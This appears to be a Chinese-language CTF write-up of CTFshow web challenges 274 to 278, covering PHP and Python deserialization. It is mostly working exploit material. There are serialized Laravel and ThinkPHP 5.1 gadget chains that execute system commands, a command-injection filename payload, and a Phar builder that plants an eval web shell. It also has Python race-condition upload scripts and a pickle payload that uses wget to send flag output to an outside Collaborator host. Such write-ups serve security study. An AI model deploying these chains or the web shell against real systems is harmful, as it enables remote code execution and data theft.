POST: data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%27cat%20%2Fflag%27%29%3B%20exit%3B%20%3F%3E%22%3B%7D%7D%7D%7D

web274(Thinkphp5.1反序列化漏洞)

Thinkphp5.1 反序列化漏洞复现

<?php

namespace think;

abstract class Model{

protected $append = [];

private $data = [];

function __construct(){

$this->append = ["lin"=>["calc.exe","calc"]];

$this->data = ["lin"=>new Request()];

}

}

class Request

{

protected $hook = [];

protected $filter = "system"; //PHP函数

protected $config = [

// 表单ajax伪装变量

'var_ajax' => '_ajax',

];

function __construct(){

$this->filter = "system";

$this->config = ["var_ajax"=>'lin']; //PHP函数的参数

$this->hook = ["visible"=>[$this,"isAjax"]];

}

}

namespace think\process\pipes;

use think\model\concern\Conversion;

use think\model\Pivot;

class Windows

{

private $files = [];

public function __construct()

{

$this->files=[new Pivot()];

}

}

namespace think\model;

use think\Model;

class Pivot extends Model

{

}

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));

?>

Payload:

/?lin=tac /flag&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19

web275

<?php

class filter{

public $filename;

public $filecontent;

public $evilfile=false;

public function __construct($f,$fn){

$this->filename=$f;

$this->filecontent=$fn;

}

public function checkevil(){

if(preg_match('/php|\.\./i', $this->filename)){

$this->evilfile=true;

}

if(preg_match('/flag/i', $this->filecontent)){

$this->evilfile=true;

}

return $this->evilfile;

}

public function __destruct(){

if($this->evilfile){

system('rm '.$this->filename);

}

}

}

if(isset($_GET['fn'])){

$content = file_get_contents('php://input');

$f = new filter($_GET['fn'],$content);

if($f->checkevil()===false){

file_put_contents($_GET['fn'], $content);

copy($_GET['fn'],md5(mt_rand()).'.txt');

unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);

echo 'work done';

}

}else{

echo 'where is flag?';

}

没仔细看下面的,看到了__destruct可以调用system所以只需要满足checkevil的正则匹配,执行system即可

Payload

GET: ?fn=|tac fla*

POST: flag

web276(Phar反序列化)

<?php

highlight_file(__FILE__);

class filter{

public $filename;

public $filecontent;

public $evilfile=false;

public $admin = false;

public function __construct($f,$fn){

$this->filename=$f;

$this->filecontent=$fn;

}

public function checkevil(){

if(preg_match('/php|\.\./i', $this->filename)){

$this->evilfile=true;

}

if(preg_match('/flag/i', $this->filecontent)){

$this->evilfile=true;

}

return $this->evilfile;

}

public function __destruct(){

if($this->evilfile && $this->admin){

system('rm '.$this->filename);

}

}

}

if(isset($_GET['fn'])){

$content = file_get_contents('php://input');

$f = new filter($_GET['fn'],$content);

if($f->checkevil()===false){

file_put_contents($_GET['fn'], $content);

copy($_GET['fn'],md5(mt_rand()).'.txt');

unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);

echo 'work done';

}

}else{

echo 'where is flag?';

}

__destruct()加了条件,但是admin不可控

初探phar://

首先构造 phar 的文件,将 filter 存储在 meta-data 中以备反序列化。

<?php

class filter

{

public $filename = "a;echo '<?php @eval(\$_POST[1]); ?>' > shell.php";

public $filecontent;

public $evilfile = true;

public $admin = true;

}

@unlink("payload.phar");

$phar = new Phar("payload.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new filter();

$phar->setMetadata($o); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

//签名自动计算

$phar->stopBuffering();

echo "done.";

然后因为文件名加上 /var/www/html/unlink 的参数就会有两遍路径,删不掉,就可以持久化上传文件了,当然也可以通过条件竞争去反序列化这个 phar

import requests

url = "https://39afeb37-98e3-49cc-9a59-ba48da61ff09.challenge.ctf.show/"

target = "/var/www/html/d.phar"

with open("CTFshow\php-unserialize\payload.phar", "rb") as f:

payload = f.read()

_ = requests.post(f"{ url}/?fn={ target}", data=payload)

target = "phar://d.phar/test"

_ = requests.post(f"{ url}/?fn={ target}")

条件竞争

import requests

import threading

url="https://39afeb37-98e3-49cc-9a59-ba48da61ff09.challenge.ctf.show/"code>

f=open("CTFshow\php-unserialize\payload.phar","rb")

content=f.read()

def upload(): #上传1.phar,内容是本地文件:phar.phar

requests.post(url=url+"?fn=d.phar",data=content)

def read(): #利用条件竞争,尝试phar://反序列化1.phar,1.phar没被删除就能被反序列化,因而就能执行system()函数从而执行我们的命令

r = requests.post(url=url+"?fn=phar://d.phar/test",data="1=system('tac flag.php)")code>

if "ctfshow{"in r.text or "flag{" in r.text:

print(r.text)

exit()

while 1:

t1=threading.Thread(target=upload)

t2=threading.Thread(target=read)

t1.start()

t2.start()

web277(python反序列化)

Python 反序列化漏洞

利用burp的Collaborator外带

import pickle

import os

import base64

class hsad():

def __reduce__(self):

return (os.popen, ('wget npgr48shkll6h9ye92srk1po7fd71xpm.oastify.com/?a=`tac flag`',))

print(base64.b64encode(pickle.dumps(hsad())))

在这里插入图片描述

web278

同 <code>web277,禁用了 os.system 但不影响 os.popen



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。